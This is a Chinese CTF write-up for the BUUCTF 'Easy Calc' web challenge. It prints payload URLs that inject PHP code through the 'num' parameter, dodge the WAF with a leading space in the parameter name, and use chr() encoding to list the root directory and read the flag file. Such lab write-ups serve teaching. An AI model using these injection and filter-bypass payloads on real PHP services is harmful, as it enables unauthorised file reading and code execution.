PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了buuctf—web—Easy Calc大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

启动靶机,查看网页源码,发现关键字

buuctf—web—Easy Calc

 

 

$("#content").val() 是什么意思:

获取id为content的HTML标签元素的值,是JQuery,     ("#content")相当于document.getElementById("content");

("#content").val()相当于 document.getElementById("content").value;

多次尝试找不到思路,看了大佬的wp发现是被waf拦截

payload:http://node3.buuoj.cn:29279/calc.PHP?%20num=var_dump(scandir(chr(47)))

在Num前加一个空格符来绕过waf拦截

原因:假如waf不允许num变量传递字母,可以在Num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但PHP在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

发现根目录存在f1agg

buuctf—web—Easy Calc

 

 同理查看该文件内容

payload:http://node3.buuoj.cn:29279/calc.PHP?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

buuctf—web—Easy Calc

 

 成功拿到flag

 

补充:

1、PHP的字符串解析特性是什么?

答: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符  2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,PHP却可以让你过】

2、发现过滤怎么办?

答:用char()转ascii再进行拼接

3、尽量多的积累一些PHP函数,在关键时刻可以利用

大佬总结

以上是大佬教程为你收集整理的buuctf—web—Easy Calc全部内容,希望文章能够帮你解决buuctf—web—Easy Calc所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: